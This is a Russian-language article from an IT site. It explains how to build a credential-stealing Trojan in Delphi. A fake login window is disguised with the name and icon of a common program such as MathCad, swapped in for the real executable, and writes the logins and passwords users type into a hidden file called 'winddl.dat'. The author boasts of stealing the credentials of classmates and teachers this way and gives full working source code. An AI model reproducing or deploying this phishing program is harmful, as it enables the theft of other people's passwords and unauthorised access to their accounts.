Базы данныхИнтернетКомпьютерыОперационные системыПрограммированиеСетиСвязьРазное
Поиск по сайту:
Подпишись на рассылку:

Назад в раздел

Узнаем пароли юзеров в локалке.

div.main {margin-left: 20pt; margin-right: 20pt}Узнаем пароли юзеров в локалке.

Берем Delphi. Делаем прогу имитирующую запрос пароля. А введенные значения записываем в отдельный файл. Замаскеруем прогу под чтото очень нужное и часто используемое. Например MathCad, Delphi, C++. Делаем такую же иконку, название проге даем как у жертвы. Также важно не забыть, что после выполнения нашей проги надо запустить приложение жертвы.Заменяем главный фаил жертвы нашей фичей. И на рабочем столе делаем ярлык на него. Uzver запускает свое приложение и 90% что даже не подумает чего это его просят ввести лог и пассворд. Я так поимел логи всей своей группы и с десяток препов.
Пример приведен ниже:
(Зарание оговорюсь.Это основная база для проги. Так что можно добавить че надо, наворотить, поперчить, посахарить...)

unit tr;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Buttons, ExtCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Image1: TImage;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
Label4: TLabel;
Label5: TLabel;
procedure BitBtn1Click(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
F:Text;
lg,psw:string;
flag:boolean=false;
implementation
{$R *.DFM}
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
if (Edit1.Text<>'')and(Edit2.Text<>'') then
Begin
lg:='Login:';
psw:='Password:';
AssignFile(F,'winddl.dat'); {тута указываеш имя файла куда кидать лог и пасв}
{$I-}
Reset(F);
{$I+}
if IOResult=2 then
Begin
Rewrite(F);
flag:=true;
end;
Write(F,lg);
lg:=Edit1.Text;
writeln(F,lg);
Write(F,psw);
psw:=Edit2.Text;
writeln(F,psw);
CloseFile(F);
Form1.Close;
end
else
MessageDlg('Введите Login и Password',mtError,[mbOk],0);
end;
procedure TForm1.BitBtn2Click(Sender: TObject);
begin
If Edit1.Text='' then MessageDlg('Введите Login',mtError,[mbOk],0);
If Edit2.Text='' then MessageDlg('Введите Password',mtError,[mbOk],0);
end;
end.

program login;
uses
Forms,
tr in 'tr.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.

Автор: SlipperyAir



  • Главная
  • Новости
  • Новинки
  • Скрипты
  • Форум
  • Ссылки
  • О сайте




  • Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!
     Copyright © 2001-2024
    Реклама на сайте